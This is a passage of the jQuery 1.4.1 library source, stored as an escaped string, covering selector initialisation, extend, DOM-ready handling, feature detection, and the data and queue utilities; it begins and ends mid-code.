$(\"TAG\")\n\t\t\t} else if ( !context && /^\\w+$/.test( selector ) ) {\n\t\t\t\tthis.selector = selector;\n\t\t\t\tthis.context = document;\n\t\t\t\tselector = document.getElementsByTagName( selector );\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn (context || rootjQuery).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn jQuery( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn rootjQuery.ready( selector );\n\t\t}\n\n\t\tif (selector.selector !== undefined) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.isArray( selector ) ?\n\t\t\tthis.setArray( selector ) :\n\t\t\tjQuery.makeArray( selector, this );\n\t},\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The current version of jQuery being used\n\tjquery: \"1.4.1\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\t// The number of elements contained in the matched element set\n\tsize: function() {\n\t\treturn this.length;\n\t},\n\n\ttoArray: function() {\n\t\treturn slice.call( this, 0 );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num == null ?\n\n\t\t\t// Return a 'clean' array\n\t\t\tthis.toArray() :\n\n\t\t\t// Return just the object\n\t\t\t( num < 0 ? this.slice(num)[ 0 ] : this[ num ] );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems, name, selector ) {\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery( elems || null );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\tret.context = this.context;\n\n\t\tif ( name === \"find\" ) {\n\t\t\tret.selector = this.selector + (this.selector ? \" \" : \"\") + selector;\n\t\t} else if ( name ) {\n\t\t\tret.selector = this.selector + \".\" + name + \"(\" + selector + \")\";\n\t\t}\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Force the current matched set of elements to become\n\t// the specified array of elements (destroying the stack in the process)\n\t// You should use pushStack() in order to do this, but maintain the stack\n\tsetArray: function( elems ) {\n\t\t// Resetting the length to 0, then using the native Array push\n\t\t// is a super-fast way to populate an object with array-like properties\n\t\tthis.length = 0;\n\t\tpush.apply( this, elems );\n\n\t\treturn this;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\t// (You can seed the arguments with an array of args, but this is\n\t// only used internally.)\n\teach: function( callback, args ) {\n\t\treturn jQuery.each( this, callback, args );\n\t},\n\t\n\tready: function( fn ) {\n\t\t// Attach the listeners\n\t\tjQuery.bindReady();\n\n\t\t// If the DOM is already ready\n\t\tif ( jQuery.isReady ) {\n\t\t\t// Execute the function immediately\n\t\t\tfn.call( document, jQuery );\n\n\t\t// Otherwise, remember the function for later\n\t\t} else if ( readyList ) {\n\t\t\t// Add the function to the wait list\n\t\t\treadyList.push( fn );\n\t\t}\n\n\t\treturn this;\n\t},\n\t\n\teq: function( i ) {\n\t\treturn i === -1 ?\n\t\t\tthis.slice( i ) :\n\t\t\tthis.slice( i, +i + 1 );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ),\n\t\t\t\"slice\", slice.call(arguments).join(\",\") );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map(this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t}));\n\t},\n\t\n\tend: function() {\n\t\treturn this.prevObject || jQuery(null);\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: [].sort,\n\tsplice: [].splice\n};\n\n// Give the init function the jQuery prototype for later instantiation\njQuery.fn.init.prototype = jQuery.fn;\n\njQuery.extend = jQuery.fn.extend = function() {\n\t// copy reference to target object\n\tvar target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options, name, src, copy;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\t\ttarget = arguments[1] || {};\n\t\t// skip the boolean and the target\n\t\ti = 2;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction(target) ) {\n\t\ttarget = {};\n\t}\n\n\t// extend jQuery itself if only one argument is passed\n\tif ( length === i ) {\n\t\ttarget = this;\n\t\t--i;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\t\t// Only deal with non-null/undefined values\n\t\tif ( (options = arguments[ i ]) != null ) {\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging object literal values or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject(copy) || jQuery.isArray(copy) ) ) {\n\t\t\t\t\tvar clone = src && ( jQuery.isPlainObject(src) || jQuery.isArray(src) ) ? src\n\t\t\t\t\t\t: jQuery.isArray(copy) ? [] : {};\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend({\n\tnoConflict: function( deep ) {\n\t\twindow.$ = _$;\n\n\t\tif ( deep ) {\n\t\t\twindow.jQuery = _jQuery;\n\t\t}\n\n\t\treturn jQuery;\n\t},\n\t\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\t\n\t// Handle when the DOM is ready\n\tready: function() {\n\t\t// Make sure that the DOM is not already loaded\n\t\tif ( !jQuery.isReady ) {\n\t\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\t\tif ( !document.body ) {\n\t\t\t\treturn setTimeout( jQuery.ready, 13 );\n\t\t\t}\n\n\t\t\t// Remember that the DOM is ready\n\t\t\tjQuery.isReady = true;\n\n\t\t\t// If there are functions bound, to execute\n\t\t\tif ( readyList ) {\n\t\t\t\t// Execute all of them\n\t\t\t\tvar fn, i = 0;\n\t\t\t\twhile ( (fn = readyList[ i++ ]) ) {\n\t\t\t\t\tfn.call( document, jQuery );\n\t\t\t\t}\n\n\t\t\t\t// Reset the list of functions\n\t\t\t\treadyList = null;\n\t\t\t}\n\n\t\t\t// Trigger any bound ready events\n\t\t\tif ( jQuery.fn.triggerHandler ) {\n\t\t\t\tjQuery( document ).triggerHandler( \"ready\" );\n\t\t\t}\n\t\t}\n\t},\n\t\n\tbindReady: function() {\n\t\tif ( readyBound ) {\n\t\t\treturn;\n\t\t}\n\n\t\treadyBound = true;\n\n\t\t// Catch cases where $(document).ready() is called after the\n\t\t// browser event has already occurred.\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\treturn jQuery.ready();\n\t\t}\n\n\t\t// Mozilla, Opera and webkit nightlies currently support this event\n\t\tif ( document.addEventListener ) {\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\t\t\t\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", jQuery.ready, false );\n\n\t\t// If IE event model is used\n\t\t} else if ( document.attachEvent ) {\n\t\t\t// ensure firing before onload,\n\t\t\t// maybe late but safe also for iframes\n\t\t\tdocument.attachEvent(\"onreadystatechange\", DOMContentLoaded);\n\t\t\t\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.attachEvent( \"onload\", jQuery.ready );\n\n\t\t\t// If IE and not a frame\n\t\t\t// continually check to see if the document is ready\n\t\t\tvar toplevel = false;\n\n\t\t\ttry {\n\t\t\t\ttoplevel = window.frameElement == null;\n\t\t\t} catch(e) {}\n\n\t\t\tif ( document.documentElement.doScroll && toplevel ) {\n\t\t\t\tdoScrollCheck();\n\t\t\t}\n\t\t}\n\t},\n\n\t// See test/unit/core.js for details concerning isFunction.\n\t// Since version 1.3, DOM methods and functions like alert\n\t// aren't supported. They return false on IE (#2968).\n\tisFunction: function( obj ) {\n\t\treturn toString.call(obj) === \"[object Function]\";\n\t},\n\n\tisArray: function( obj ) {\n\t\treturn toString.call(obj) === \"[object Array]\";\n\t},\n\n\tisPlainObject: function( obj ) {\n\t\t// Must be an Object.\n\t\t// Because of IE, we also have to check the presence of the constructor property.\n\t\t// Make sure that DOM nodes and window objects don't pass through, as well\n\t\tif ( !obj || toString.call(obj) !== \"[object Object]\" || obj.nodeType || obj.setInterval ) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Not own constructor property must be Object\n\t\tif ( obj.constructor\n\t\t\t&& !hasOwnProperty.call(obj, \"constructor\")\n\t\t\t&& !hasOwnProperty.call(obj.constructor.prototype, \"isPrototypeOf\") ) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Own properties are enumerated firstly, so to speed up,\n\t\t// if last one is own, then all properties are own.\n\t\n\t\tvar key;\n\t\tfor ( key in obj ) {}\n\t\t\n\t\treturn key === undefined || hasOwnProperty.call( obj, key );\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tfor ( var name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\t\n\terror: function( msg ) {\n\t\tthrow msg;\n\t},\n\t\n\tparseJSON: function( data ) {\n\t\tif ( typeof data !== \"string\" || !data ) {\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t// Make sure the incoming data is actual JSON\n\t\t// Logic borrowed from http://json.org/json2.js\n\t\tif ( /^[\\],:{}\\s]*$/.test(data.replace(/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g, \"@\")\n\t\t\t.replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g, \"]\")\n\t\t\t.replace(/(?:^|:|,)(?:\\s*\\[)+/g, \"\")) ) {\n\n\t\t\t// Try to use the native JSON parser first\n\t\t\treturn window.JSON && window.JSON.parse ?\n\t\t\t\twindow.JSON.parse( data ) :\n\t\t\t\t(new Function(\"return \" + data))();\n\n\t\t} else {\n\t\t\tjQuery.error( \"Invalid JSON: \" + data );\n\t\t}\n\t},\n\n\tnoop: function() {},\n\n\t// Evalulates a script in a global context\n\tglobalEval: function( data ) {\n\t\tif ( data && rnotwhite.test(data) ) {\n\t\t\t// Inspired by code by Andrea Giammarchi\n\t\t\t// http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html\n\t\t\tvar head = document.getElementsByTagName(\"head\")[0] || document.documentElement,\n\t\t\t\tscript = document.createElement(\"script\");\n\n\t\t\tscript.type = \"text/javascript\";\n\n\t\t\tif ( jQuery.support.scriptEval ) {\n\t\t\t\tscript.appendChild( document.createTextNode( data ) );\n\t\t\t} else {\n\t\t\t\tscript.text = data;\n\t\t\t}\n\n\t\t\t// Use insertBefore instead of appendChild to circumvent an IE6 bug.\n\t\t\t// This arises when a base node is used (#2709).\n\t\t\thead.insertBefore( script, head.firstChild );\n\t\t\thead.removeChild( script );\n\t\t}\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();\n\t},\n\n\t// args is for internal usage only\n\teach: function( object, callback, args ) {\n\t\tvar name, i = 0,\n\t\t\tlength = object.length,\n\t\t\tisObj = length === undefined || jQuery.isFunction(object);\n\n\t\tif ( args ) {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.apply( object[ name ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.apply( object[ i++ ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// A special, fast, case for the most common use of each\n\t\t} else {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.call( object[ name ], name, object[ name ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( var value = object[0];\n\t\t\t\t\ti < length && callback.call( value, i, value ) !== false; value = object[++i] ) {}\n\t\t\t}\n\t\t}\n\n\t\treturn object;\n\t},\n\n\ttrim: function( text ) {\n\t\treturn (text || \"\").replace( rtrim, \"\" );\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( array, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( array != null ) {\n\t\t\t// The window, strings (and functions) also have 'length'\n\t\t\t// The extra typeof function check is to prevent crashes\n\t\t\t// in Safari 2 (See: #3039)\n\t\t\tif ( array.length == null || typeof array === \"string\" || jQuery.isFunction(array) || (typeof array !== \"function\" && array.setInterval) ) {\n\t\t\t\tpush.call( ret, array );\n\t\t\t} else {\n\t\t\t\tjQuery.merge( ret, array );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, array ) {\n\t\tif ( array.indexOf ) {\n\t\t\treturn array.indexOf( elem );\n\t\t}\n\n\t\tfor ( var i = 0, length = array.length; i < length; i++ ) {\n\t\t\tif ( array[ i ] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar i = first.length, j = 0;\n\n\t\tif ( typeof second.length === \"number\" ) {\n\t\t\tfor ( var l = second.length; j < l; j++ ) {\n\t\t\t\tfirst[ i++ ] = second[ j ];\n\t\t\t}\n\t\t} else {\n\t\t\twhile ( second[j] !== undefined ) {\n\t\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t\t}\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, inv ) {\n\t\tvar ret = [];\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tif ( !inv !== !callback( elems[ i ], i ) ) {\n\t\t\t\tret.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar ret = [], value;\n\n\t\t// Go through the array, translating each of the items to their\n\t\t// new value (or values).\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\tif ( value != null ) {\n\t\t\t\tret[ ret.length ] = value;\n\t\t\t}\n\t\t}\n\n\t\treturn ret.concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\tproxy: function( fn, proxy, thisObject ) {\n\t\tif ( arguments.length === 2 ) {\n\t\t\tif ( typeof proxy === \"string\" ) {\n\t\t\t\tthisObject = fn;\n\t\t\t\tfn = thisObject[ proxy ];\n\t\t\t\tproxy = undefined;\n\n\t\t\t} else if ( proxy && !jQuery.isFunction( proxy ) ) {\n\t\t\t\tthisObject = proxy;\n\t\t\t\tproxy = undefined;\n\t\t\t}\n\t\t}\n\n\t\tif ( !proxy && fn ) {\n\t\t\tproxy = function() {\n\t\t\t\treturn fn.apply( thisObject || this, arguments );\n\t\t\t};\n\t\t}\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tif ( fn ) {\n\t\t\tproxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;\n\t\t}\n\n\t\t// So proxy can be declared as an argument\n\t\treturn proxy;\n\t},\n\n\t// Use of jQuery.browser is frowned upon.\n\t// More details: http://docs.jquery.com/Utilities/jQuery.browser\n\tuaMatch: function( ua ) {\n\t\tua = ua.toLowerCase();\n\n\t\tvar match = /(webkit)[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t\t/(opera)(?:.*version)?[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t\t/(msie) ([\\w.]+)/.exec( ua ) ||\n\t\t\t!/compatible/.test( ua ) && /(mozilla)(?:.*? rv:([\\w.]+))?/.exec( ua ) ||\n\t\t  \t[];\n\n\t\treturn { browser: match[1] || \"\", version: match[2] || \"0\" };\n\t},\n\n\tbrowser: {}\n});\n\nbrowserMatch = jQuery.uaMatch( userAgent );\nif ( browserMatch.browser ) {\n\tjQuery.browser[ browserMatch.browser ] = true;\n\tjQuery.browser.version = browserMatch.version;\n}\n\n// Deprecated, use jQuery.browser.webkit instead\nif ( jQuery.browser.webkit ) {\n\tjQuery.browser.safari = true;\n}\n\nif ( indexOf ) {\n\tjQuery.inArray = function( elem, array ) {\n\t\treturn indexOf.call( array, elem );\n\t};\n}\n\n// All jQuery objects should point back to these\nrootjQuery = jQuery(document);\n\n// Cleanup functions for the document ready method\nif ( document.addEventListener ) {\n\tDOMContentLoaded = function() {\n\t\tdocument.removeEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\t\tjQuery.ready();\n\t};\n\n} else if ( document.attachEvent ) {\n\tDOMContentLoaded = function() {\n\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\tdocument.detachEvent( \"onreadystatechange\", DOMContentLoaded );\n\t\t\tjQuery.ready();\n\t\t}\n\t};\n}\n\n// The DOM ready check for Internet Explorer\nfunction doScrollCheck() {\n\tif ( jQuery.isReady ) {\n\t\treturn;\n\t}\n\n\ttry {\n\t\t// If IE is used, use the trick by Diego Perini\n\t\t// http://javascript.nwbox.com/IEContentLoaded/\n\t\tdocument.documentElement.doScroll(\"left\");\n\t} catch( error ) {\n\t\tsetTimeout( doScrollCheck, 1 );\n\t\treturn;\n\t}\n\n\t// and execute any waiting functions\n\tjQuery.ready();\n}\n\nfunction evalScript( i, elem ) {\n\tif ( elem.src ) {\n\t\tjQuery.ajax({\n\t\t\turl: elem.src,\n\t\t\tasync: false,\n\t\t\tdataType: \"script\"\n\t\t});\n\t} else {\n\t\tjQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || \"\" );\n\t}\n\n\tif ( elem.parentNode ) {\n\t\telem.parentNode.removeChild( elem );\n\t}\n}\n\n// Mutifunctional method to get and set values to a collection\n// The value/s can be optionally by executed if its a function\nfunction access( elems, key, value, exec, fn, pass ) {\n\tvar length = elems.length;\n\t\n\t// Setting many attributes\n\tif ( typeof key === \"object\" ) {\n\t\tfor ( var k in key ) {\n\t\t\taccess( elems, k, key[k], exec, fn, value );\n\t\t}\n\t\treturn elems;\n\t}\n\t\n\t// Setting one attribute\n\tif ( value !== undefined ) {\n\t\t// Optionally, function values get executed if exec is true\n\t\texec = !pass && exec && jQuery.isFunction(value);\n\t\t\n\t\tfor ( var i = 0; i < length; i++ ) {\n\t\t\tfn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );\n\t\t}\n\t\t\n\t\treturn elems;\n\t}\n\t\n\t// Getting an attribute\n\treturn length ? fn( elems[0], key ) : null;\n}\n\nfunction now() {\n\treturn (new Date).getTime();\n}\n(function() {\n\n\tjQuery.support = {};\n\n\tvar root = document.documentElement,\n\t\tscript = document.createElement(\"script\"),\n\t\tdiv = document.createElement(\"div\"),\n\t\tid = \"script\" + now();\n\n\tdiv.style.display = \"none\";\n\tdiv.innerHTML = \"   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>\";\n\n\tvar all = div.getElementsByTagName(\"*\"),\n\t\ta = div.getElementsByTagName(\"a\")[0];\n\n\t// Can't get basic test support\n\tif ( !all || !all.length || !a ) {\n\t\treturn;\n\t}\n\n\tjQuery.support = {\n\t\t// IE strips leading whitespace when .innerHTML is used\n\t\tleadingWhitespace: div.firstChild.nodeType === 3,\n\n\t\t// Make sure that tbody elements aren't automatically inserted\n\t\t// IE will insert them into empty tables\n\t\ttbody: !div.getElementsByTagName(\"tbody\").length,\n\n\t\t// Make sure that link elements get serialized correctly by innerHTML\n\t\t// This requires a wrapper element in IE\n\t\thtmlSerialize: !!div.getElementsByTagName(\"link\").length,\n\n\t\t// Get the style information from getAttribute\n\t\t// (IE uses .cssText insted)\n\t\tstyle: /red/.test( a.getAttribute(\"style\") ),\n\n\t\t// Make sure that URLs aren't manipulated\n\t\t// (IE normalizes it by default)\n\t\threfNormalized: a.getAttribute(\"href\") === \"/a\",\n\n\t\t// Make sure that element opacity exists\n\t\t// (IE uses filter instead)\n\t\t// Use a regex to work around a WebKit issue. See #5145\n\t\topacity: /^0.55$/.test( a.style.opacity ),\n\n\t\t// Verify style float existence\n\t\t// (IE uses styleFloat instead of cssFloat)\n\t\tcssFloat: !!a.style.cssFloat,\n\n\t\t// Make sure that if no value is specified for a checkbox\n\t\t// that it defaults to \"on\".\n\t\t// (WebKit defaults to \"\" instead)\n\t\tcheckOn: div.getElementsByTagName(\"input\")[0].value === \"on\",\n\n\t\t// Make sure that a selected-by-default option has a working selected property.\n\t\t// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)\n\t\toptSelected: document.createElement(\"select\").appendChild( document.createElement(\"option\") ).selected,\n\n\t\t// Will be defined later\n\t\tcheckClone: false,\n\t\tscriptEval: false,\n\t\tnoCloneEvent: true,\n\t\tboxModel: null\n\t};\n\n\tscript.type = \"text/javascript\";\n\ttry {\n\t\tscript.appendChild( document.createTextNode( \"window.\" + id + \"=1;\" ) );\n\t} catch(e) {}\n\n\troot.insertBefore( script, root.firstChild );\n\n\t// Make sure that the execution of code works by injecting a script\n\t// tag with appendChild/createTextNode\n\t// (IE doesn't support this, fails, and uses .text instead)\n\tif ( window[ id ] ) {\n\t\tjQuery.support.scriptEval = true;\n\t\tdelete window[ id ];\n\t}\n\n\troot.removeChild( script );\n\n\tif ( div.attachEvent && div.fireEvent ) {\n\t\tdiv.attachEvent(\"onclick\", function click() {\n\t\t\t// Cloning a node shouldn't copy over any\n\t\t\t// bound event handlers (IE does this)\n\t\t\tjQuery.support.noCloneEvent = false;\n\t\t\tdiv.detachEvent(\"onclick\", click);\n\t\t});\n\t\tdiv.cloneNode(true).fireEvent(\"onclick\");\n\t}\n\n\tdiv = document.createElement(\"div\");\n\tdiv.innerHTML = \"<input type='radio' name='radiotest' checked='checked'/>\";\n\n\tvar fragment = document.createDocumentFragment();\n\tfragment.appendChild( div.firstChild );\n\n\t// WebKit doesn't clone checked state correctly in fragments\n\tjQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked;\n\n\t// Figure out if the W3C box model works as expected\n\t// document.body must exist before we can do this\n\tjQuery(function() {\n\t\tvar div = document.createElement(\"div\");\n\t\tdiv.style.width = div.style.paddingLeft = \"1px\";\n\n\t\tdocument.body.appendChild( div );\n\t\tjQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2;\n\t\tdocument.body.removeChild( div ).style.display = 'none';\n\t\tdiv = null;\n\t});\n\n\t// Technique from Juriy Zaytsev\n\t// http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/\n\tvar eventSupported = function( eventName ) { \n\t\tvar el = document.createElement(\"div\"); \n\t\teventName = \"on\" + eventName; \n\n\t\tvar isSupported = (eventName in el); \n\t\tif ( !isSupported ) { \n\t\t\tel.setAttribute(eventName, \"return;\"); \n\t\t\tisSupported = typeof el[eventName] === \"function\"; \n\t\t} \n\t\tel = null; \n\n\t\treturn isSupported; \n\t};\n\t\n\tjQuery.support.submitBubbles = eventSupported(\"submit\");\n\tjQuery.support.changeBubbles = eventSupported(\"change\");\n\n\t// release memory in IE\n\troot = script = div = all = a = null;\n})();\n\njQuery.props = {\n\t\"for\": \"htmlFor\",\n\t\"class\": \"className\",\n\treadonly: \"readOnly\",\n\tmaxlength: \"maxLength\",\n\tcellspacing: \"cellSpacing\",\n\trowspan: \"rowSpan\",\n\tcolspan: \"colSpan\",\n\ttabindex: \"tabIndex\",\n\tusemap: \"useMap\",\n\tframeborder: \"frameBorder\"\n};\nvar expando = \"jQuery\" + now(), uuid = 0, windowData = {};\nvar emptyObject = {};\n\njQuery.extend({\n\tcache: {},\n\t\n\texpando:expando,\n\n\t// The following elements throw uncatchable exceptions if you\n\t// attempt to add expando properties to them.\n\tnoData: {\n\t\t\"embed\": true,\n\t\t\"object\": true,\n\t\t\"applet\": true\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\treturn;\n\t\t}\n\n\t\telem = elem == window ?\n\t\t\twindowData :\n\t\t\telem;\n\n\t\tvar id = elem[ expando ], cache = jQuery.cache, thisCache;\n\n\t\t// Handle the case where there's no name immediately\n\t\tif ( !name && !id ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Compute a unique ID for the element\n\t\tif ( !id ) { \n\t\t\tid = ++uuid;\n\t\t}\n\n\t\t// Avoid generating a new cache unless none exists and we\n\t\t// want to manipulate it.\n\t\tif ( typeof name === \"object\" ) {\n\t\t\telem[ expando ] = id;\n\t\t\tthisCache = cache[ id ] = jQuery.extend(true, {}, name);\n\t\t} else if ( cache[ id ] ) {\n\t\t\tthisCache = cache[ id ];\n\t\t} else if ( typeof data === \"undefined\" ) {\n\t\t\tthisCache = emptyObject;\n\t\t} else {\n\t\t\tthisCache = cache[ id ] = {};\n\t\t}\n\n\t\t// Prevent overriding the named cache with undefined values\n\t\tif ( data !== undefined ) {\n\t\t\telem[ expando ] = id;\n\t\t\tthisCache[ name ] = data;\n\t\t}\n\n\t\treturn typeof name === \"string\" ? thisCache[ name ] : thisCache;\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\treturn;\n\t\t}\n\n\t\telem = elem == window ?\n\t\t\twindowData :\n\t\t\telem;\n\n\t\tvar id = elem[ expando ], cache = jQuery.cache, thisCache = cache[ id ];\n\n\t\t// If we want to remove a specific section of the element's data\n\t\tif ( name ) {\n\t\t\tif ( thisCache ) {\n\t\t\t\t// Remove the section of cache data\n\t\t\t\tdelete thisCache[ name ];\n\n\t\t\t\t// If we've removed all the data, remove the element's cache\n\t\t\t\tif ( jQuery.isEmptyObject(thisCache) ) {\n\t\t\t\t\tjQuery.removeData( elem );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Otherwise, we want to remove all of the element's data\n\t\t} else {\n\t\t\t// Clean up the element expando\n\t\t\ttry {\n\t\t\t\tdelete elem[ expando ];\n\t\t\t} catch( e ) {\n\t\t\t\t// IE has trouble directly removing the expando\n\t\t\t\t// but it's ok with using removeAttribute\n\t\t\t\tif ( elem.removeAttribute ) {\n\t\t\t\t\telem.removeAttribute( expando );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Completely remove the data cache\n\t\t\tdelete cache[ id ];\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tdata: function( key, value ) {\n\t\tif ( typeof key === \"undefined\" && this.length ) {\n\t\t\treturn jQuery.data( this[0] );\n\n\t\t} else if ( typeof key === \"object\" ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery.data( this, key );\n\t\t\t});\n\t\t}\n\n\t\tvar parts = key.split(\".\");\n\t\tparts[1] = parts[1] ? \".\" + parts[1] : \"\";\n\n\t\tif ( value === undefined ) {\n\t\t\tvar data = this.triggerHandler(\"getData\" + parts[1] + \"!\", [parts[0]]);\n\n\t\t\tif ( data === undefined && this.length ) {\n\t\t\t\tdata = jQuery.data( this[0], key );\n\t\t\t}\n\t\t\treturn data === undefined && parts[1] ?\n\t\t\t\tthis.data( parts[0] ) :\n\t\t\t\tdata;\n\t\t} else {\n\t\t\treturn this.trigger(\"setData\" + parts[1] + \"!\", [parts[0], value]).each(function() {\n\t\t\t\tjQuery.data( this, key, value );\n\t\t\t});\n\t\t}\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeData( this, key );\n\t\t});\n\t}\n});\njQuery.extend({\n\tqueue: function( elem, type, data ) {\n\t\tif ( !elem ) {\n\t\t\treturn;\n\t\t}\n\n\t\ttype = (type || \"fx\") + \"queue\";\n\t\tvar q = jQuery.data( elem, type );\n\n\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\tif ( !data ) {\n\t\t\treturn q || [];\n\t\t}\n\n\t\tif ( !q || jQuery.isArray(data) ) {\n\t\t\tq = jQuery.data( elem, type, jQuery.makeArray(data) );\n\n\t\t} else {\n\t\t\tq.push( data );\n\t\t}\n\n\t\treturn q;\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ), fn = queue.shift();\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\t// Add a progress sentinel 